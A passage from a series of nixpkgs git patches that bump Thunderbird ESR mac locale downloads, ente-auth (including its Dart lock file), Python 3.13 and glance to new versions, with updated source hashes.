+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/ka/Thunderbird%20128.11.1esr.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "80f0f47724169f8e5ee992aea5eb91828d76acb46c981a4ad1623ad002a88ec4";
+      sha256 = "721adf949350e037c25cf8291c431c4ad1a1c973e3b5c7f8038c49d101bff42f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/kab/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/kab/Thunderbird%20128.11.1esr.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "34c78ee1a34c8fdbc2758af1e5a453a7c09a39e8d0ea5738e9b397e8aab74d46";
+      sha256 = "5d80290a4450704ee98e14fe1ff5355838866f5bd02dd76b35d34340234e2fca";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/kk/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/kk/Thunderbird%20128.11.1esr.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "4b06bfae6288320843745a9f14a09f9215f83a534b570f0caf18c167aa2c639d";
+      sha256 = "d2e06a4b9217647fb251f4923704cb2a328f2f6bd2cdec2dffa565f035256118";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/ko/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/ko/Thunderbird%20128.11.1esr.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "2aad2ccce1383b396ae8dd5d40a07daa5fedbac4b7d878b7a157b4f920e75b5f";
+      sha256 = "93be46780d45123071b98e3a502bd66a0e013173113328c5bb490348e0e95e3b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/lt/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/lt/Thunderbird%20128.11.1esr.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "c79d788688778a912b57e5f1e05798bb96903a333985cabbb3963bcce6723543";
+      sha256 = "e7290fb83d7d599e19ba084ac0cea5e8766ac939a53536260566150ce0967888";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/lv/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/lv/Thunderbird%20128.11.1esr.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "d84936a74f0a888f1da82eb0ccaf397c9f433d6c5faf517fd5bcc409e2ea31a0";
+      sha256 = "953833f44f8d18c645dc4581389e3c4e6620e7ecbb612223589b01a8b0f0c7b3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/ms/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/ms/Thunderbird%20128.11.1esr.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "15e3f97f44294668d22cd96a346dbd22c5d64c2526593872f6ca8412d634a9a1";
+      sha256 = "96cd6ceb2eeee23e41df9e85f66d972652eb883185dfe3ee467e3d339db89728";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/nb-NO/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/nb-NO/Thunderbird%20128.11.1esr.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "87823062cd2d43536018305dc0425e8b604f4df14336e54751ac1fee4a5be79e";
+      sha256 = "873acfd868eb4eb98fd89ed940a4f94106102d671906ed96aa5cbdc8adfd0aad";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/nl/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/nl/Thunderbird%20128.11.1esr.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "02ece8ecee3d231bf566f6939a0388d78d0fa717a80f4fb94713db92870f4f67";
+      sha256 = "4eb57ac9ee74c73390f5e7d85c99974b39c8e029891c9264a59f7f4caf35189e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/nn-NO/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/nn-NO/Thunderbird%20128.11.1esr.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "b5b1c602b497bfad1b48842c06e24ffd64d032183d354811f5a791e652505373";
+      sha256 = "7b460dc745f4216207cbbe31c22ca078097da98fc36608e30c801460b53e4175";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/pa-IN/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/pa-IN/Thunderbird%20128.11.1esr.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "92a253aed7e42efed4a85adf74f8e6dde0208a94bd3f887219f0b29075d26ba8";
+      sha256 = "ae6e070503490be4a20cfe88957c50bd2d5b61558e4e082e405dbb6c9af8d650";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/pl/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/pl/Thunderbird%20128.11.1esr.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "966febf37cf9c2da85ffac82d7da03fc482a6135e25dbf78800401239215448e";
+      sha256 = "8d7bef22f5ec018230675388f1e09f57ca1a56c14faf20625947ace6a63f1b4f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/pt-BR/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/pt-BR/Thunderbird%20128.11.1esr.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "0fcd133b82aeffcb7814142b88ff1aba12af813374a24fa3d85c62d62077554a";
+      sha256 = "8d07693400e2ce47f28e50063f754f5ecfe33bce80c20836e5964e58c30d808b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/pt-PT/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/pt-PT/Thunderbird%20128.11.1esr.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "3b171a3b97807a81149e7d27572318056fce2fb6872f40f354e651624ff5fa53";
+      sha256 = "9807509c6214bfa50cc4da2d4e1182f398f5d2dc01527e946b6f3f3a62f2c5bf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/rm/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/rm/Thunderbird%20128.11.1esr.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "76edae404bd60f35f2752d6098c1df55b124520c15246e5eb173676ab4e4b915";
+      sha256 = "02d138d8e70732f364b600f96e3d493025b0b30ad2f97c86c1de56a4ac396c21";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/ro/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/ro/Thunderbird%20128.11.1esr.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "e3167f11923f5fc2c5dc985dedf5daaf029b8097d9a7f43417b39911708ce27f";
+      sha256 = "fc3a92974d3dd7c8ea9e253e15685e951a9378af81260a32bc981222ec9096ba";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/ru/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/ru/Thunderbird%20128.11.1esr.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "5bcb97eb90761a83d1c68049d7f98ba1232d93996cafc2c175001c720bf7ae1c";
+      sha256 = "ff86c68ca4fac2512ac16a7d46a93d9fb799f0cc7faed74bc11804d8945a6f24";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/sk/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/sk/Thunderbird%20128.11.1esr.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "bbc0a8484ba2356bdbf3bda13f15c72e502acfa848d96d802ce045334ed27584";
+      sha256 = "2d41c7410469e0157c0856e1c615dc950b1b2773a889391afe96faebb064c56b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/sl/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/sl/Thunderbird%20128.11.1esr.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "883034d9eaa9a0f34742fa3d51f0499625644b1400bc3a5e17e444c1d84dff9d";
+      sha256 = "620044e83c647d4d59fe4bf04c0baad67ebd3e987962f46e5b3207319efff547";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/sq/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/sq/Thunderbird%20128.11.1esr.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "bbe0490ea11d4cf67daa3d200b017b5c023d15fccd0e9055af55145a414fe585";
+      sha256 = "2053c3b73c6cc460ae19a16b68cc20847ae5c1ccaa257cf0f1bb94ceb5303a77";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/sr/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/sr/Thunderbird%20128.11.1esr.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "abd1d84d5e15bb544fd088890660d8541f7f53f969818415a6029546d62c1ab3";
+      sha256 = "97c49fcce28b8a3fbafa9c0ac0057269c738a02b599298891ed95cfc5f9c326e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/sv-SE/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/sv-SE/Thunderbird%20128.11.1esr.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "f6162e8a7ab8ec395c41d5ae2c12a2e7115248dc67d525577d6a70c55d7f4568";
+      sha256 = "09b44ad55e36b02d907063f166ffa97a9405b7bed912e42917fdd4a662d257ba";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/th/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/th/Thunderbird%20128.11.1esr.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "c0c0e65f1cd3de690a94b8a018489ba2b398d26e4475e084f5756b533c847ba6";
+      sha256 = "e261fbd2bda8eac5044194412e872ee06e95ce9a1c6f8b03374b9d5bdb211a13";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/tr/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/tr/Thunderbird%20128.11.1esr.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "aa8d919937da919d67f22bed23432393f1c14764a8a34e0da58d6df33ee09cdd";
+      sha256 = "0998341bc976e2680424270866cc172987e6e6a0285fe9ae730a3dc693e7dd63";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/uk/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/uk/Thunderbird%20128.11.1esr.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "e317aa1da153f12abac7938838f3b902859514974e416ff382f9431dfa79ce1f";
+      sha256 = "56e5bfddc16ad37931fd2d8fc13f0808ce49368840a1ef18e093f8a2cfb2a51c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/uz/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/uz/Thunderbird%20128.11.1esr.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "102bba7d14f01947d1a4fb7e3f9b69133faaf7bdba54d129477fa6bddafd28c7";
+      sha256 = "a517ead8414d926f604903230fd1a987a5867c05f78dac18597201bae98f22bf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/vi/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/vi/Thunderbird%20128.11.1esr.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "80162191a22406dcf6613bf09c7eb6dfdb6b83799dba528a4b09b0d4b955a6bc";
+      sha256 = "b59993cbd972fe642be6a9f57c44cf75cfe6c31664b8daf81b1eede51b00eede";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/zh-CN/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/zh-CN/Thunderbird%20128.11.1esr.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "f2a12e4fbd3b0afe1739dc3e70681943e5dde3cd7244b701fce8c7ec93c4ef1f";
+      sha256 = "6030459cbef475ea9efabde5d2a7be84587871365a3a7f1b589168c39485b8e8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/zh-TW/Thunderbird%20128.11.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/zh-TW/Thunderbird%20128.11.1esr.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "e977bc3a7dd0e8d0298241a418fd081db651524e6dd956e1713c80f20a4c58c7";
+      sha256 = "cf9ab16f91e90662c1ac9b37cb08ba7d357179d8fd66b40e176847d341b99418";
     }
   ];
 }

From 50c3915024643bb77af3eb10083f1235ced59c59 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 11 Jun 2025 20:46:29 +0000
Subject: [PATCH 1021/4511] ente-auth: 4.3.6 -> 4.4.0

(cherry picked from commit 6df9098ba1cd8d44a423d0d8a96539911d1b47c6)
---
 pkgs/by-name/en/ente-auth/package.nix       |  4 +-
 pkgs/by-name/en/ente-auth/pubspec.lock.json | 90 ++++++++++-----------
 2 files changed, 47 insertions(+), 47 deletions(-)

diff --git a/pkgs/by-name/en/ente-auth/package.nix b/pkgs/by-name/en/ente-auth/package.nix
index 844fa3b17676..1298325524d5 100644
--- a/pkgs/by-name/en/ente-auth/package.nix
+++ b/pkgs/by-name/en/ente-auth/package.nix
@@ -18,14 +18,14 @@ let
 in
 flutter324.buildFlutterApplication rec {
   pname = "ente-auth";
-  version = "4.3.6";
+  version = "4.4.0";
 
   src = fetchFromGitHub {
     owner = "ente-io";
     repo = "ente";
     sparseCheckout = [ "auth" ];
     tag = "auth-v${version}";
-    hash = "sha256-6S0sgxiPrakqtQ/KoEKR10yWxOk6Rs5MOHjFZXkAbcg=";
+    hash = "sha256-bwLEOmdDiD7X2o9PshDBf+Y1s6KYT7xGhqCu4nNAchI=";
   };
 
   sourceRoot = "${src.name}/auth";
diff --git a/pkgs/by-name/en/ente-auth/pubspec.lock.json b/pkgs/by-name/en/ente-auth/pubspec.lock.json
index 05c9729383a4..8d7e969cb623 100644
--- a/pkgs/by-name/en/ente-auth/pubspec.lock.json
+++ b/pkgs/by-name/en/ente-auth/pubspec.lock.json
@@ -4,17 +4,17 @@
       "dependency": "transitive",
       "description": {
         "name": "_fe_analyzer_shared",
-        "sha256": "16e298750b6d0af7ce8a3ba7c18c69c3785d11b15ec83f6dcd0ad2a0009b3cab",
+        "sha256": "f256b0c0ba6c7577c15e2e4e114755640a875e885099367bf6e012b19314c834",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "76.0.0"
+      "version": "72.0.0"
     },
     "_macros": {
       "dependency": "transitive",
       "description": "dart",
       "source": "sdk",
-      "version": "0.3.3"
+      "version": "0.3.2"
     },
     "adaptive_theme": {
       "dependency": "direct main",
@@ -30,11 +30,11 @@
       "dependency": "transitive",
       "description": {
         "name": "analyzer",
-        "sha256": "1f14db053a8c23e260789e9b0980fa27f2680dd640932cae5e1137cce0e46e1e",
+        "sha256": "b652861553cd3990d8ed361f7979dc6d7053a9ac8843fa73820ab68ce5410139",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "6.11.0"
+      "version": "6.7.0"
     },
     "ansicolor": {
       "dependency": "transitive",
@@ -110,11 +110,11 @@
       "dependency": "transitive",
       "description": {
         "name": "async",
-        "sha256": "d2872f9c19731c2e5f10444b14686eb7cc85c76274bd6c16e1816bff9a3bab63",
+        "sha256": "947bfcf187f74dbc5e146c9eb9c0f10c9f8b30743e341481c1e2ed3ecc18c20c",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.12.0"
+      "version": "2.11.0"
     },
     "auto_size_text": {
       "dependency": "direct main",
@@ -160,11 +160,11 @@
       "dependency": "transitive",
       "description": {
         "name": "boolean_selector",
-        "sha256": "8aab1771e1243a5063b8b0ff68042d67334e3feab9e95b9490f9a6ebf73b42ea",
+        "sha256": "6cfb5af12253eaf2b368f07bacc5a80d1301a071c73360d746b7f2e32d762c66",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.1.2"
+      "version": "2.1.1"
     },
     "build": {
       "dependency": "transitive",
@@ -250,11 +250,11 @@
       "dependency": "transitive",
       "description": {
         "name": "characters",
-        "sha256": "f71061c654a3380576a52b451dd5532377954cf9dbd272a78fc8479606670803",
+        "sha256": "04a925763edad70e8443c99234dc3328f442e811f1d8fd1a72f1c8ad0f69a605",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.4.0"
+      "version": "1.3.0"
     },
     "checked_yaml": {
       "dependency": "transitive",
@@ -290,11 +290,11 @@
       "dependency": "transitive",
       "description": {
         "name": "clock",
-        "sha256": "fddb70d9b5277016c77a80201021d40a2247104d9f4aa7bab7157b7e3f05b84b",
+        "sha256": "cb6d7f03e1de671e34607e909a7213e31d7752be4fb66a86d29fe1eb14bfb5cf",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.1.2"
+      "version": "1.1.1"
     },
     "code_builder": {
       "dependency": "transitive",
@@ -310,11 +310,11 @@
       "dependency": "direct main",
       "description": {
         "name": "collection",
-        "sha256": "2f5709ae4d3d59dd8f7cd309b4e023046b57d8a6c82130785d2b0e5868084e76",
+        "sha256": "ee67cb0715911d28db6bf4af1026078bd6f0128b07a5f66fb2ed94ec6783c09a",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.19.1"
+      "version": "1.18.0"
     },
     "confetti": {
       "dependency": "direct main",
@@ -541,11 +541,11 @@
       "dependency": "transitive",
       "description": {
         "name": "fake_async",
-        "sha256": "6a95e56b2449df2273fd8c45a662d6947ce1ebb7aafe80e550a3f68297f3cacc",
+        "sha256": "511392330127add0b769b75a987850d136345d9227c6b94c96a04cf4a391bf78",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.3.2"
+      "version": "1.3.1"
     },
     "ffi": {
       "dependency": "direct main",
@@ -1176,21 +1176,21 @@
       "dependency": "transitive",
       "description": {
         "name": "leak_tracker",
-        "sha256": "c35baad643ba394b40aac41080300150a4f08fd0fd6a10378f8f7c6bc161acec",
+        "sha256": "3f87a60e8c63aecc975dda1ceedbc8f24de75f09e4856ea27daf8958f2f0ce05",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "10.0.8"
+      "version": "10.0.5"
     },
     "leak_tracker_flutter_testing": {
       "dependency": "transitive",
       "description": {
         "name": "leak_tracker_flutter_testing",
-        "sha256": "f8b613e7e6a13ec79cfdc0e97638fddb3ab848452eff057653abd3edba760573",
+        "sha256": "932549fb305594d82d7183ecd9fa93463e9914e1b67cacc34bc40906594a1806",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "3.0.9"
+      "version": "3.0.5"
     },
     "leak_tracker_testing": {
       "dependency": "transitive",
@@ -1276,21 +1276,21 @@
       "dependency": "transitive",
       "description": {
         "name": "macros",
-        "sha256": "1d9e801cd66f7ea3663c45fc708450db1fa57f988142c64289142c9b7ee80656",
+        "sha256": "0acaed5d6b7eab89f63350bccd82119e6c602df0f391260d0e32b5e23db79536",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.1.3-main.0"
+      "version": "0.1.2-main.4"
     },
     "matcher": {
       "dependency": "transitive",
       "description": {
         "name": "matcher",
-        "sha256": "dc58c723c3c24bf8d3e2d3ad3f2f9d7bd9cf43ec6feaa64181775e60190153f2",
+        "sha256": "d2323aa2060500f906aa31a895b4030b6da3ebdcc5619d14ce1aada65cd161cb",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.12.17"
+      "version": "0.12.16+1"
     },
     "material_color_utilities": {
       "dependency": "transitive",
@@ -1316,11 +1316,11 @@
       "dependency": "transitive",
       "description": {
         "name": "meta",
-        "sha256": "e3641ec5d63ebf0d9b41bd43201a66e3fc79a65db5f61fc181f04cd27aab950c",
+        "sha256": "bdb68674043280c3428e9ec998512fb681678676b3c54e773629ffe74419f8c7",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.16.0"
+      "version": "1.15.0"
     },
     "mime": {
       "dependency": "transitive",
@@ -1456,11 +1456,11 @@
       "dependency": "direct main",
       "description": {
         "name": "path",
-        "sha256": "75cca69d1490965be98c73ceaea117e8a04dd21217b37b292c9ddbec0d955bc5",
+        "sha256": "087ce49c3f0dc39180befefc60fdb4acd8f8620e5682fe2476afd0b3688bb4af",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.9.1"
+      "version": "1.9.0"
     },
     "path_drawing": {
       "dependency": "transitive",
@@ -1836,7 +1836,7 @@
       "dependency": "transitive",
       "description": "flutter",
       "source": "sdk",
-      "version": "0.0.0"
+      "version": "0.0.99"
     },
     "sodium": {
       "dependency": "transitive",
@@ -1882,11 +1882,11 @@
       "dependency": "transitive",
       "description": {
         "name": "source_span",
-        "sha256": "254ee5351d6cb365c859e20ee823c3bb479bf4a293c22d17a9f1bf144ce86f7c",
+        "sha256": "53e943d4206a5e30df338fd4c6e7a077e02254531b138a15aec3bd143c1a8b3c",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.10.1"
+      "version": "1.10.0"
     },
     "sprintf": {
       "dependency": "transitive",
@@ -1943,11 +1943,11 @@
       "dependency": "transitive",
       "description": {
         "name": "stack_trace",
-        "sha256": "8b27215b45d22309b5cddda1aa2b19bdfec9df0e765f2de506401c071d38d1b1",
+        "sha256": "73713990125a6d93122541237550ee3352a2d84baad52d375a4cad2eb9b7ce0b",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.12.1"
+      "version": "1.11.1"
     },
     "steam_totp": {
       "dependency": "direct main",
@@ -1973,11 +1973,11 @@
       "dependency": "transitive",
       "description": {
         "name": "stream_channel",
-        "sha256": "969e04c80b8bcdf826f8f16579c7b14d780458bd97f56d107d3950fdbeef059d",
+        "sha256": "ba2aa5d8cc609d96bbb2899c28934f9e1af5cddbd60a827822ea467161eb54e7",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.1.4"
+      "version": "2.1.2"
     },
     "stream_transform": {
       "dependency": "transitive",
@@ -1993,11 +1993,11 @@
       "dependency": "transitive",
       "description": {
         "name": "string_scanner",
-        "sha256": "921cd31725b72fe181906c6a94d987c78e3b98c2e205b397ea399d4054872b43",
+        "sha256": "556692adab6cfa87322a115640c11f13cb77b3f076ddcc5d6ae3c20242bedcde",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.4.1"
+      "version": "1.2.0"
     },
     "styled_text": {
       "dependency": "direct main",
@@ -2023,21 +2023,21 @@
       "dependency": "transitive",
       "description": {
         "name": "term_glyph",
-        "sha256": "7f554798625ea768a7518313e58f83891c7f5024f88e46e7182a4558850a4b8e",
+        "sha256": "a29248a84fbb7c79282b40b8c72a1209db169a2e0542bce341da992fe1bc7e84",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.2.2"
+      "version": "1.2.1"
     },
     "test_api": {
       "dependency": "transitive",
       "description": {
         "name": "test_api",
-        "sha256": "fb31f383e2ee25fbbfe06b40fe21e1e458d14080e3c67e7ba0acfde4df4e0bbd",
+        "sha256": "5b8a98dafc4d5c4c9c72d8b31ab2b23fc13422348d2997120294d3bac86b4ddb",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.7.4"
+      "version": "0.7.2"
     },
     "timezone": {
       "dependency": "transitive",
@@ -2243,11 +2243,11 @@
       "dependency": "transitive",
       "description": {
         "name": "vm_service",
-        "sha256": "0968250880a6c5fe7edc067ed0a13d4bae1577fe2771dcf3010d52c4a9d3ca14",
+        "sha256": "5c5f338a667b4c644744b661f309fb8080bb94b18a7e91ef1dbd343bed00ed6d",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "14.3.1"
+      "version": "14.2.5"
     },
     "watcher": {
       "dependency": "transitive",
@@ -2361,7 +2361,7 @@
     }
   },
   "sdks": {
-    "dart": ">=3.7.0-0 <4.0.0",
+    "dart": ">=3.5.0 <4.0.0",
     "flutter": ">=3.24.0"
   }
 }

From ef75aca7a0a99ea7ac8edf1fa062373af7e2d55d Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Thu, 12 Jun 2025 06:19:25 +0200
Subject: [PATCH 1022/4511] python313: 3.13.4 -> 3.13.5

https://docs.python.org/release/3.13.5/whatsnew/changelog.html
(cherry picked from commit 70b32c168d054a88348bdcafe22e717745c0b77d)
---
 pkgs/development/interpreters/python/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/python/default.nix b/pkgs/development/interpreters/python/default.nix
index c4e40d499279..15a24044c779 100644
--- a/pkgs/development/interpreters/python/default.nix
+++ b/pkgs/development/interpreters/python/default.nix
@@ -80,10 +80,10 @@
       sourceVersion = {
         major = "3";
         minor = "13";
-        patch = "4";
+        patch = "5";
         suffix = "";
       };
-      hash = "sha256-J7FaeXViopcdzj/+MbshYELOC5lbOddozxX3hMx1c2U=";
+      hash = "sha256-k+WD8kNFTm6eRYjKLCZiIGrZYWWYYyd6/NuWgBZH1kA=";
       inherit passthruFun;
     };
 

From bdb7b9507ec414fdf0caae68e2edbe00323e0ea2 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Tue, 10 Jun 2025 10:43:22 +0000
Subject: [PATCH 1023/4511] glance: 0.8.3 -> 0.8.4

(cherry picked from commit bcfb600097ea646546c9b8869efca89671c2df38)
---
 pkgs/by-name/gl/glance/package.nix         |  8 +++----
 pkgs/by-name/gl/glance/update_purego.patch | 26 ----------------------
 2 files changed, 3 insertions(+), 31 deletions(-)
 delete mode 100644 pkgs/by-name/gl/glance/update_purego.patch

diff --git a/pkgs/by-name/gl/glance/package.nix b/pkgs/by-name/gl/glance/package.nix
index e6e96550ff72..7e3ef73d83d2 100644
--- a/pkgs/by-name/gl/glance/package.nix
+++ b/pkgs/by-name/gl/glance/package.nix
@@ -9,18 +9,16 @@
 
 buildGoModule (finalAttrs: {
   pname = "glance";
-  version = "0.8.3";
+  version = "0.8.4";
 
   src = fetchFromGitHub {
     owner = "glanceapp";
     repo = "glance";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-o2Yom40HbNKe3DMMxz0Mf2gG8zresgU52Odpj2H7ZPU=";
+    hash = "sha256-4su8CGtS4wqWcQ3yTvZiUHOnTMLICS3XIG8kS+bJ3LQ=";
   };
 
-  patches = [ ./update_purego.patch ];
-
-  vendorHash = "sha256-esPtCg63A40mX9hADOhEa+NjNk+9MI/0qZG3uE91qxg=";
+  vendorHash = "sha256-Ek1LVCSEJzoI0nVu6zVsSbd/Jzv6/pyMIm991ebvkZY=";
 
   ldflags = [
     "-s"
diff --git a/pkgs/by-name/gl/glance/update_purego.patch b/pkgs/by-name/gl/glance/update_purego.patch
deleted file mode 100644
index b91fa89f2de4..000000000000
--- a/pkgs/by-name/gl/glance/update_purego.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-diff --git a/go.mod b/go.mod
-index ccea58ca68..118d91c650 100644
---- a/go.mod
-+++ b/go.mod
-@@ -15,7 +15,7 @@
- require (
- 	github.com/PuerkitoBio/goquery v1.10.3 // indirect
- 	github.com/andybalholm/cascadia v1.3.3 // indirect
--	github.com/ebitengine/purego v0.8.2 // indirect
-+	github.com/ebitengine/purego v0.8.3 // indirect
- 	github.com/go-ole/go-ole v1.3.0 // indirect
- 	github.com/json-iterator/go v1.1.12 // indirect
- 	github.com/lufia/plan9stats v0.0.0-20250317134145-8bc96cf8fc35 // indirect
-diff --git a/go.sum b/go.sum
